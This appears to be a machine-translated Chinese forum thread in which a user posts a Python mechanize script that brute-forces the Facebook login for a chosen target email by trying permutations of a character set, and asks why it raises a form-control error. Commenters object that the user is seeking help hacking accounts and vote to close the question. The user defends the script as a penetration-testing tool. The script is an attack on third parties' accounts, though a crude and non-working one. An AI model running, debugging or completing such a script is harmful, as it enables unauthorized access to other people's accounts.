我试图用python脚本强制Facebook登录页面,但是每当我运行代码时,我会得到下面的错误。我的代码是:蛮力脚本蟒蛇和机械化
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
print "enter target email"
email = raw_input('>>>')
print "continue at your own risk, im not responible for what you do..."
print "would you like to continue"
contnue = raw_input('y/n:')
if contnue == 'y':
combos = itertools.permutations("i3^4hUP-",8)
br.open("http://www.facebook.com/login/")
for x in combos:
br.select_form(nr = 0)
br.form['email'] = email
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response=br.submit()
if response.geturl()=="http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print "Correct password is ",''.join(x)
break
该脚本使用机械化模块试图强制默认的Facebook登录页面。
为我的错误堆栈跟踪为:
File "passripper.py", line 83, in <module>
br.form['password'] = ''.join(x)
File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__
control = self.find_control(name)
File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control
raise ControlNotFoundError("no control matching "+description)
mechanize._form.ControlNotFoundError: no control matching name 'password'
有人可以请解释一下什么是错误讯息是什么意思?
所以你试图“破解”Facebook并公开搜索代码帮助?聪明的举动认为,Facebook的工程师也在监控这里的问题所以... – Tobi
我投票结束这个问题作为题外话,因为它要求帮助破解帐户。 – CBroe
该工具仅用于渗透测试目的,并且我不试图破解anybodies帐户,像专业渗透测试人员和像我这样的人一直在创建类似这样的工具。他们有助于保持数字世界的安全,而公司(如Facebook)则一直雇用他们来帮助保护这些坏人。所以有人可能会给黑客一点点尊重真正意义的东西,并帮助我完成这个项目,我不认为它比像Metaploit,Hydra或Goohost这样的工具更值得尊重,它们几乎相同事情。 –